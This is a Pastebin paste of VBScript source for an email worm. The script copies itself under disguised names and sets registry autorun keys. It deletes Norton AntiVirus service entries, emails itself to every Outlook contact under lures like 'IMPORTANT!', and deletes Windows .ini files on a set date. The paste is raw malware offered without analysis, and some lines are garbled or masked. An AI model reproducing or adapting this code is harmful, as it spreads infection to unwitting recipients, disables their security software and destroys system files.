Alshabh

Untitled

Jun 18th, 2013
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.35 KB | None | 0 0
  1. <=== STARTS HERE ===>
  2. REM Made in city of Sofia c 2004. Magian
  3. On Error Resume Next
  4. Dim fso,systemdir,windir,tempdir,file,vbscopy
  5. Set fso = CreateObject("Scripting.FileSystemObject")
  6. set file = fso.OpenTextFile(WScript.ScriptFullName,1)
  7. vbscopy = file.ReadAll
  8. main()
  9. Sub main()
  10. On Error Resume Next
  11. Dim wscript, regr
  12. set wscript = CreateObject("WScript.****************l")
  13. regr = wscript.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  14. if (regr >= 1) then
  15. wscript.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  16. end if
  17. Set windir = fso.GetSpecialFolder(0)
  18. Set systemdir = fso.GetSpecialFolder(1)
  19. Set tempdir = fso.GetSpecialFolder(2)
  20. Set fl = fso.GetFile(Wscript.ScriptFullName)
  21. fl.Copy(systemdir&"\compobj.vbs")
  22. fl.Copy(windir&"\wincmd.vbs")
  23. fl.Copy(tempdir&"\DOC1.TXT.vbs")
  24. reg()
  25. mail()
  26. damage()
  27. end sub
  28. sub reg()
  29. On Error Resume Next
  30. Dim delav,nav
  31. RegCreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\compobj",systemdir&"\compobj.vbs"
  32. RegCreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\wincmd",windir&"\wincmd.vb s"
  33. Set delav = WScript.CreateObject("WScript.****************l")
  34. nav = Wscript.RegRead ("HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\Norton AntiVirus")
  35. If Not IsNull(nav) Then
  36. delav.RegDelete("HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Services\navapsvc")
  37. delav.RegDelete("HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Services\NAVENG")
  38. delav.RegDelete("HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Services\NAVEX15")
  39. delav.RegDelete("HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Services\NProtectService")
  40. delav.RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Syman tec\Norton AntiVirus")
  41. End If
  42. end sub
  43. Sub mail()
  44. On Error Resume Next
  45. Dim x
  46. Set fso ="Scripting.FileSystem.Object"
  47. Set so=CreateObject(fso)
  48. Set ol=CreateObject("Outlook.Application")
  49. Set out= WScript.CreateObject("Outlook.Application")
  50. Set mapi = out.GetNameSpace("MAPI")
  51. Set a = mapi.AddressLists(1)
  52. For x=1 To a.AddressEntries.Count
  53. Set Mail=ol.CreateItem(0)
  54. Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).Ad dressEntries(x)
  55. Randomize
  56. num = Int((5 * Rnd) + 1)
  57. If num = 1 Then
  58. Mail.Subject="IMPORTANT!"
  59. Mail.Body="Check the attached file. It's Important!"
  60. Mail.Attachments.Add(systemdir&"\DOC1.TXT.vbs")
  61. Mail.Send
  62. ElseIf num = 2 Then
  63. Mail.Subject="What is that?"
  64. Mail.Body="Hey, what is that? See the attachment."
  65. Mail.Attachments.Add(systemdir&"\DOC1.TXT.vbs")
  66. Mail.Send
  67. ElseIf num = 3 Then
  68. Mail.Subject="Is that what you've needed?"
  69. Mail.Body="Is that what we've been talking about? See the attachment."
  70. Mail.Attachments.Add(systemdir&"\DOC1.TXT.vbs")
  71. Mail.Send
  72. ElseIf num = 4 Then
  73. Mail.Subject="I was talking about this:"
  74. Mail.Body="Here is that document."
  75. Mail.Attachments.Add(systemdir&"\DOC1.TXT.vbs")
  76. Mail.Send
  77. ElseIf num = 5 Then
  78. Mail.Subject="Hi. What do you think about this?"
  79. Mail.Body="Eh? Tell me your opinion. See the attachment."
  80. Mail.Attachments.Add(systemdir&"\DOC1.TXT.vbs")
  81. Mail.Send
  82. End If
  83. Next
  84. ol.Quit
  85. End Sub
  86. Sub damage()
  87. On Error Resume Next
  88. Dim filesysdelfile,a,b
  89. a=date()
  90. b=27
  91. If a=b then
  92. Set filesysdelfile = CreateObject("Scripting.FileSystemObject")
  93. filesysdelfile.DeleteFile (windir&\"*.ini"),True
  94. Set filesysdelfile = Nothing
  95. end If
  96. End Sub
  97. <===ENDS HERE===>
Advertisement
Add Comment
Please, Sign In to add comment